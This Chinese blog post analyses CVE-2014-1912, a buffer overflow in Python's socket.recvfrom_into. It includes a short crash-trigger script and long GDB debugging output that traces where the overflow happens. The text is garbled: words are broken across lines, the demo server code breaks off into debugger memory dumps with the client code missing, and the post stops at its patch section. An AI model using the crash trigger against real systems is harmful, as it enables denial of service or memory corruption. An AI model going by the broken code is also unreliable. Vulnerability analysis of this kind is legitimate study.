CVE-2014-1912漏洞介绍与简单分析

标题:【原创】CVE-2014-1912漏洞介绍与简单分析作者:cumirror前段时间，CVE上收录了Python缓冲区溢出漏洞CVE-2014-1912。正好自己在学Pyhon，于是跟踪分析了下。自己是个新手，对于shellcode编写还没掌握，所以这里侧重于漏洞的原理介绍和溢出点的定位，如有不足和错误之处还请大家指点，谢谢。1.漏洞介绍这个漏洞产生于Python

socket模块中的recvfrom_into函数，该函数在处理过程中，对recvlen和buf.len的判断存在问题。该漏洞会影响Python

2.7.7/3.4.4之前的版本。你也可以运行如下脚本进行检查，如果产生段错误，则说明存在这个漏洞。代码:import

socketr,

w

=

socket.socketpair()w.send(b'X'

*

1024)r.recvfrom_into(bytearray(),

1024)2.漏洞溢出点分析

a)调试环境

系统:Ubuntu

13.04

Python:2.7.4

调试器：GDB

(安装python的扩展：sudo

apt-get

install

gdb

python2.7-dbg)

b)demo

serve.py代码:import

socket,

array

host

=

socket.gethostname()port

=

40000s

=

socket.socket()s.bind((host,

port))#mybuf

=

bytearray(b'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB')#print

hex(id(mybuf))0xb74bba20:

0x08290160b74bba40

0x7957ad87000000060xb74bba30:

0x6f64747300000000

0x00000000000074750xb74bba40:

0x0000000000000000

0x0000000000000000(gdb)

x

/10xg

0x0a1c19080xa1c1908:

0x726f724242424242

0x00000039b75330000xa1c1918:

0x0000000200000000

0x00000006000000010xa1c1928:

0x0a1c193800000010

0x0a1c1950000000000xa1c1938:

0x0101007f00000002

0x00000000000000000xa1c1948:

0x000000390000038e

0x000000020a1c1910(gdb)

x

/10c

0x0a1c19080xa1c1908:

66

'B'

66

'B'

66

'B'

66

'B'

66

'B'

114

'r'

111

'o'

114

'r'0xa1c1910:

0

'\000'

48

'0'(gdb)

break

if

((char*)0x0a1c1908)[0]

!=

'B'Breakpoint

1

at

0xb77a2424(gdb)

break

sock_recvfrom_into.64651

Breakpoint

2

at

0x806e4d3:

file

../Modules/socketmodule.c,

line

2720.(gdb)

cContinuing.

3)python

client.py，发送超长的数据。

4)查看溢出点代码:Breakpoint

2,

sock_recvfrom_into.64651

(s=0xb74b2610,

args=(<array.array

at

remote

0xb74bba00>,

1024),

kwds=0x0)

at

../Modules/socketmodule.c:27202720

../Modules/socketmodule.c:

No

such

file

or

directory.(gdb)

bt#0

sock_recvfrom_into.64651

(s=0xb74b2610,

args=(<array.array

at

remote

0xb74bba00>,

1024),

kwds=0x0)

at

../Modules/socketmodule.c:2720#1

0x080b6bde

in

call_function

(oparg=<optimized

out>,

pp_stack=0xbfb2a58c)

at

../Python/ceval.c:4021#2

PyEval_EvalFrameEx

(f=f@entry=Frame

0xa1be5c4,

for

file

server.py,

line

18,

in

<module>

(),

throwflag=throwflag@entry=0)

at

../Python/ceval.c:2666#3

0x0811fae9

in

PyEval_EvalCodeEx

(co=co@entry=0xb750ecc8,

globals=globals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

locals=locals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

args=args@entry=0x0,

argcount=argcount@entry=0,

kws=kws@entry=0x0,

kwcount=kwcount@entry=0,

defs=defs@entry=0x0,

defcount=defcount@entry=0,

closure=closure@entry=0x0)

at

../Python/ceval.c:3253#4

0x081836c7

in

PyEval_EvalCode

(co=co@entry=0xb750ecc8,

globals=globals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

locals=locals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)})

at

../Python/ceval.c:667#5

0x08183b7d

in

run_mod.42872

(mod=mod@entry=0xa1c01f0,

filename=filename@entry=0xbfb2c35e

"server.py",

globals=globals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

locals=locals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

flags=flags@entry=0xbfb2a79c,

arena=arena@entry=0xa1d1398)

at

../Python/pythonrun.c:1365#6

0x080a6029

in

PyRun_FileExFlags

(fp=fp@entry=0xa1be5b8,

filename=filename@entry=0xbfb2c35e

"server.py",

start=start@entry=257,

globals=globals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

locals=locals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

---Type

<return>

to

continue,

or

q

<return>

to

quit---qQuit(gdb)

cContinuing.Breakpoint

1,

0xb77a2424

in

__kernel_vsyscall

()(gdb)

bt#0

0xb77a2424

in

__kernel_vsyscall

()#1

0xb777cc91

in

recvfrom

()

from

/lib/i386-linux-gnu/libpthread.so.0#2

0x0806e2fb

in

sock_recvfrom_guts

(s=0xb77a2424

<__kernel_vsyscall+16>,

s@entry=0xb74b2610,

cbuf=0xa1c1908

"AAAAAAAr",

len=1024,

flags=0,

addr=addr@entry=0xbfb2a478)

at

/usr/include/i386-linux-gnu/bits/socket2.h:76#3

0x0806e57f

in

sock_recvfrom_into.64651

(s=0xb74b2610,

args=(<array.array

at

remote

0xb74bba00>,

1024),

kwds=0x0)

at

../Modules/socketmodule.c:2747#4

0x080b6bde

in

call_function

(oparg=<optimized

out>,

pp_stack=0xbfb2a58c)

at

../Python/ceval.c:4021#5

PyEval_EvalFrameEx

(f=f@entry=Frame

0xa1be5c4,

for

file

server.py,

line

18,

in

<module>

(),

throwflag=throwflag@entry=0)

at

../Python/ceval.c:2666#6

0x0811fae9

in

PyEval_EvalCodeEx

(co=co@entry=0xb750ecc8,

globals=globals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

locals=locals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

args=args@entry=0x0,

argcount=argcount@entry=0,

kws=kws@entry=0x0,

kwcount=kwcount@entry=0,

defs=defs@entry=0x0,

defcount=defcount@entry=0,

closure=closure@entry=0x0)

at

../Python/ceval.c:3253#7

0x081836c7

in

PyEval_EvalCode

(co=co@entry=0xb750ecc8,

globals=globals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

locals=locals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)})

at

../Python/ceval.c:667#8

0x08183b7d

in

run_mod.42872

(mod=mod@entry=0xa1c01f0,

filename=filename@entry=0xbfb2c35e

"server.py",

globals=globals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

locals=locals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host':

'cumirror',

'mybuf':

<array.array

at

remote

0xb74bba00>,

'__name__':

'__main__',

'array':

<module

at

remote

0xb74a0a1c>,

'__doc__':

None,

'addr':

('',

50195)},

flags=flags@entry=0xbfb2a79c,

arena=arena@entry=0xa1d1398)

at

../Python/pythonrun.c:1365#9

0x080a6029

in

PyRun_FileExFlags

(fp=fp@entry=0xa1be5b8,

filename=filename@entry=0xbfb2c35e

"server.py",

start=start@entry=257,

globals=globals@entry={'c':

<_socketobject

at

remote

0xb74a9294>,

'socket':

<module

at

remote

0xb74a0bcc>,

'__builtins__':

<module

at

remote

0xb751311c>,

'__file__':

'server.py',

's':

<_socketobject

at

remote

0xb74a92cc>,

'__package__':

None,

'port':

40000,

'host'---Type

<return>

to

continue,

or

q

<return>

to

quit---qQuit(gdb)

x

/10c

0x0a1c19080xa1c1908:

65

'A'

65

'A'

65

'A'

65

'A'

65

'A'

65

'A'

65

'A'

114

'r'0xa1c1910:

0

'\000'

48

'0'3.漏洞原因与patch

通过上面的